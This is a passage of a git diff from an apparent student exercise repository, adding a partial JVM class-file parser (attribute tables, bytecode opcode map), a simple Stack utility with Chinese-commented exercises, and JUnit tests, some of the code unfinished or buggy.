+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..c3e3931582
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group23/563253496/week5_stack/src/stack/Stack.java b/group23/563253496/week5_stack/src/stack/Stack.java
new file mode 100644
index 0000000000..3065476c3f
--- /dev/null
+++ b/group23/563253496/week5_stack/src/stack/Stack.java
@@ -0,0 +1,63 @@
+package stack;
+
+import java.util.ArrayList;
+
+/**
+ * Created by bdl19 on 2017/4/8.
+ */
+public class Stack {
+    private int count;
+    private ArrayList elementData;
+
+    public Stack() {
+        this.count = 0;
+        elementData = new ArrayList();
+    }
+
+    public void push(Object o) {
+        count++;
+        elementData.add(o);
+
+    }
+
+    public Object pop() {
+        count--;
+        Object o = elementData.get(count);
+        elementData.remove(count);
+        return o;
+    }
+
+    public Object peek() {
+
+        return elementData.get(count-1);
+    }
+
+    public boolean isEmpty() {
+        if (count == 0) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    public int size() {
+        return count;
+    }
+
+    public String toString(){
+        StringBuilder sb = new StringBuilder();
+        Stack s = new Stack();
+        while(!this.isEmpty()){
+            sb.append(this.peek().toString());
+            sb.append(",");
+            s.push(this.pop());
+        }
+        while(!s.isEmpty()){
+            this.push(s.pop());
+        }
+
+//       sb.deleteCharAt(sb.length()-1);
+        return sb.toString();
+    }
+}
+
diff --git a/group23/563253496/week5_stack/src/stack/StackUtil.java b/group23/563253496/week5_stack/src/stack/StackUtil.java
new file mode 100644
index 0000000000..f94434c17b
--- /dev/null
+++ b/group23/563253496/week5_stack/src/stack/StackUtil.java
@@ -0,0 +1,129 @@
+package stack;
+
+import stack.Stack;
+
+/**
+ * Created by bdl19 on 2017/4/8.
+ */
+
+public class StackUtil {
+
+
+    public static void main(String[] args) {
+        Stack s = new Stack();
+        for (int i = 1; i <=5 ; i++) {
+            s.push(i);
+        }
+        System.out.println(s);
+        reverse(s);
+        System.out.println(s);
+    }
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack s) {
+        Stack temp = new Stack();
+        while (!s.isEmpty()) {
+            temp.push(s.pop());
+        }
+        //System.out.println(temp);
+        s = temp;
+
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s, Object o) {
+        Stack temp = new Stack();
+        Object obj;
+        while (!s.isEmpty()) {
+            obj = s.pop();
+            if (obj.equals(o)) {
+                break;
+            }
+            temp.push(obj);
+        }
+        while (!temp.isEmpty()) {
+            s.push(temp.pop());
+        }
+
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+        if (len > s.size()) {
+            throw new IndexOutOfBoundsException();
+        }
+        Object[] o = new Object[len];
+        Stack temp = new Stack();
+
+        for (int i = 0; i < len; i++) {
+            o[i] = s.peek();
+            temp.push(s.pop());
+
+        }
+        while (!temp.isEmpty()) {
+            s.push(temp.pop());
+        }
+        return o;
+
+    }
+
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+        char[] chars = s.toCharArray();
+        Stack stack = new Stack();
+
+        for (int i = 0; i < chars.length; i++) {
+            switch (chars[i]) {
+                case '(':
+                    stack.push('(');
+                    break;
+                case '[':
+                    stack.push('[');
+                    break;
+                case '{':
+                    stack.push('{');
+                    break;
+                case ')':
+                    if (!stack.pop().equals('(')) {
+                        return false;
+                    }
+                    break;
+                case ']':
+                    if (!stack.pop().equals('[')) {
+                        return false;
+                    }
+                    break;
+                case '}':
+                    if (!stack.pop().equals('{')) {
+                        return false;
+                    }
+                    break;
+            }
+        }
+
+        return true;
+    }
+
+
+}
diff --git a/group23/563253496/week5_stack/src/test/StackUtilTest.java b/group23/563253496/week5_stack/src/test/StackUtilTest.java
new file mode 100644
index 0000000000..fc1e727103
--- /dev/null
+++ b/group23/563253496/week5_stack/src/test/StackUtilTest.java
@@ -0,0 +1,95 @@
+package test;
+
+import junit.framework.Assert;
+import org.junit.Test;
+import org.junit.Before; 
+import org.junit.After;
+
+import stack.Stack;
+import stack.StackUtil;
+
+import static com.sun.xml.internal.ws.dump.LoggingDumpTube.Position.After;
+import static com.sun.xml.internal.ws.dump.LoggingDumpTube.Position.Before;
+
+/** 
+* stack.StackUtil Tester.
+* 
+* @author <Authors name> 
+* @since <pre>���� 8, 2017</pre> 
+* @version 1.0 
+*/ 
+public class StackUtilTest { 
+
+@Before
+public void before() throws Exception { 
+} 
+
+@After
+public void after() throws Exception { 
+} 
+
+/** 
+* 
+* Method: reverse(stack.Stack s)
+* 
+*/ 
+@Test
+public void testReverse() throws Exception { 
+//TODO: Test goes here...
+    Stack s = new Stack();
+    for (int i = 1; i <=5 ; i++) {
+        s.push(i);
+    }
+    Assert.assertEquals("5,4,3,2,1,",s.toString());
+    StackUtil.reverse(s);
+
+    Assert.assertEquals("1,2,3,4,5,",s.toString());
+} 
+
+/** 
+* 
+* Method: remove(stack.Stack s, Object o)
+* 
+*/ 
+@Test
+public void testRemove() throws Exception {
+    Stack s = new Stack();
+    for (int i = 1; i <=5 ; i++) {
+        s.push(i);
+    }
+    Assert.assertEquals("5,4,3,2,1,",s.toString());
+    StackUtil.remove(s,1);
+
+    Assert.assertEquals("5,4,3,2,",s.toString());
+//TODO: Test goes here... 
+} 
+
+/** 
+* 
+* Method: getTop(stack.Stack s, int len)
+* 
+*/ 
+@Test
+public void testGetTop() throws Exception { 
+//TODO: Test goes here... 
+} 
+
+/** 
+* 
+* Method: isValidPairs(String s) 
+* 
+*/ 
+@Test
+public void testIsValidPairs() throws Exception {
+//TODO: Test goes here...
+    String  s = "([e{d}f])";
+    boolean b = StackUtil.isValidPairs(s);
+    Assert.assertEquals(true,b);
+    s = "([b{x]y})";
+    b = StackUtil.isValidPairs(s);
+    Assert.assertEquals(false,b);
+
+} 
+
+
+} 
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..9bace446db
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,142 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.cmd.*;
+import sun.text.CodePointIterator;
+
+import java.io.UnsupportedEncodingException;
+
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    private ByteCodeCommand[] cmds ;
+    public ByteCodeCommand[] getCmds() {
+    	return cmds;
+    }
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code ,ByteCodeCommand[] cmds) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int attribute_name_index = iter.nextU2ToInt();
+        if (!clzFile.getConstantPool().getUTF8String(attribute_name_index).equalsIgnoreCase(CODE)) {
+            throw new RuntimeException("CODE属性的attributenameindex解析错误");
+        }
+
+        int attribute_len = iter.nextU4ToInt();
+        byte[] bytes = iter.getBytes(attribute_len);
+        ByteCodeIterator codeIter = new ByteCodeIterator(bytes);
+
+        int max_stack = codeIter.nextU2ToInt();
+        int max_locals = codeIter.nextU2ToInt();
+        int code_len = codeIter.nextU4ToInt();
+        /*byte[] codes = codeIter.getBytes(code_len);
+
+        String code = null;
+        try {
+
+            code = new String(codes, "UTF-8");
+        } catch (UnsupportedEncodingException e) {
+            e.printStackTrace();
+        }
+*/
+
+        String code = codeIter.nextUxToHexString(code_len);
+
+        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+
+        CodeAttr codeAttr = new CodeAttr(attribute_name_index, attribute_len, max_stack, max_locals, code_len, code, cmds);
+
+        int exception_table_len = codeIter.nextU2ToInt();
+        if (exception_table_len > 0) {
+            throw new RuntimeException("方法的code属性中有异常未进行解析");
+        }
+
+        //code中的属性
+        int attribute_count = codeIter.nextU2ToInt();
+        /*byte[] bytes1 = codeIter.getBytes(attribute_length);
+        ByteCodeIterator codeAttrIter = new ByteCodeIterator(bytes1);
+
+        while (codeAttrIter.isNotEnd()) {
+            int attributenameindex = codeAttrIter.nextU2ToInt();
+            if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LINE_NUM_TABLE)) {
+                LineNumberTable table = LineNumberTable.parse(codeAttrIter, attributenameindex);
+                codeAttr.setLineNumberTable(table);
+            } else if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LOCAL_VAR_TABLE)) {
+                LocalVariableTable table = LocalVariableTable.parse(codeAttrIter,attributenameindex);
+                codeAttr.setLocalVariableTable(table);
+            }else if(clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(STACK_MAP_TABLE)){
+                codeIter.back(2);
+                StackMapTable table = StackMapTable.parse(codeIter);
+                codeAttr.setStackMapTable(table);
+            }
+        }*/
+        for (int i = 0; i < attribute_count; i++) {
+            int attributenameindex = codeIter.nextU2ToInt();
+            if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LINE_NUM_TABLE)) {
+                LineNumberTable table = LineNumberTable.parse(codeIter, attributenameindex);
+                codeAttr.setLineNumberTable(table);
+            } else if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LOCAL_VAR_TABLE)) {
+                LocalVariableTable table = LocalVariableTable.parse(codeIter,attributenameindex);
+                codeAttr.setLocalVariableTable(table);
+            }else if(clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(STACK_MAP_TABLE)){
+                codeIter.back(2);
+                StackMapTable table = StackMapTable.parse(codeIter);
+                codeAttr.setStackMapTable(table);
+            }
+            
+        }
+
+
+
+
+            return codeAttr;
+    }
+
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+    public String toString(ConstantPool pool){
+        StringBuilder buffer = new StringBuilder();
+        //buffer.append("Code:").append(code).append("\n");
+        for(int i=0;i<cmds.length;i++){
+            buffer.append(cmds[i].toString(pool)).append("\n");
+        }
+        buffer.append("\n");
+        buffer.append(this.lineNumTable.toString());
+        buffer.append(this.localVarTable.toString(pool));
+        return buffer.toString();
+    }
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..6ac9830d4d
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,83 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter, int attribute_name_index) {
+        int ccc = (iter.codes.length);
+        long attribute_len = iter.nextU4ToInt();
+        int line_number_table_len = iter.nextU2ToInt();
+        LineNumberTable table = new LineNumberTable(attribute_name_index,(int)attribute_len);
+
+        /*byte[] bytes = iter.getBytes(line_number_table_len);
+        ByteCodeIterator lntIter = new ByteCodeIterator(bytes);*/
+
+
+        /*while (lntIter.isNotEnd()) {
+            //int c = lntIter.codes.length;
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(lntIter.nextU2ToInt());
+            item.setLineNum(lntIter.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }*/
+
+
+
+        for (int i = 0; i <line_number_table_len ; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iter.nextU2ToInt());
+            item.setLineNum(iter.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    public String toString(){
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Line Number Table:\n");
+        for(LineNumberItem item : items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("lineNum:"+item.getLineNum()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+
+    }
+
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..e1cd5247fb
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo {
+
+    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+    public LocalVariableTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static LocalVariableTable parse(ByteCodeIterator iter,int attribute_name_index) {
+		int attribute_len = iter.nextU2ToInt();
+
+		byte[] bytes = iter.getBytes(attribute_len);
+		ByteCodeIterator lvtIter = new ByteCodeIterator(bytes);
+
+		LocalVariableTable table = new LocalVariableTable(attribute_name_index,attribute_len);
+
+		while(lvtIter.isNotEnd()){
+		    LocalVariableItem item = new LocalVariableItem();
+		    item.setStartPC(lvtIter.nextU2ToInt());
+            item.setLength(lvtIter.nextU2ToInt());
+            item.setNameIndex(lvtIter.nextU2ToInt());
+            item.setDescIndex(lvtIter.nextU2ToInt());
+            item.setIndex(lvtIter.nextU2ToInt());
+            table.addLocalVariableItem(item);
+        }
+
+
+        return table;
+    }
+    public String toString(ConstantPool pool){
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Local Variable Table:\n");
+        for(LocalVariableItem item : items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+            buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+            buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+    }
+
+    private void addLocalVariableItem(LocalVariableItem item) {
+        this.items.add(item);
+    }
+
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..aa4f4cb5ad
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,113 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+
+    private int minorVersion;
+    private int majorVersion;
+
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private ConstantPool pool;
+    private List<Field> fields = new ArrayList<Field>();
+    private List<Method> methods = new ArrayList<Method>();
+
+    public ClassIndex getClzIndex() {
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag() {
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag) {
+        this.accessFlag = accessFlag;
+    }
+
+
+    public ConstantPool getConstantPool() {
+        return pool;
+    }
+
+    public int getMinorVersion() {
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion) {
+        this.minorVersion = minorVersion;
+    }
+
+    public int getMajorVersion() {
+        return majorVersion;
+    }
+
+    public void setMajorVersion(int majorVersion) {
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstPool(ConstantPool pool) {
+        this.pool = pool;
+
+    }
+
+    public void setClassIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public void addField(Field f) {
+        this.fields.add(f);
+    }
+
+    public List<Field> getFields() {
+        return this.fields;
+    }
+
+    public void addMethod(Method m) {
+        this.methods.add(m);
+    }
+
+    public List<Method> getMethods() {
+        return methods;
+    }
+
+
+    public void print() {
+
+        if (this.accessFlag.isPublicClass()) {
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:" + getClassName());
+
+        System.out.println("Super Class Name:" + getSuperClassName());
+
+
+    }
+
+    private String getClassName() {
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    private String getSuperClassName() {
+        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+        return superClass.getClassName();
+    }
+
+    public Method getMethod(String methodName, String paramAndReturnType) {
+        Method method = new Method(this,this.accessFlag,)
+
+    }
+
+    public Method getMainMethod() {
+
+
+    }
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
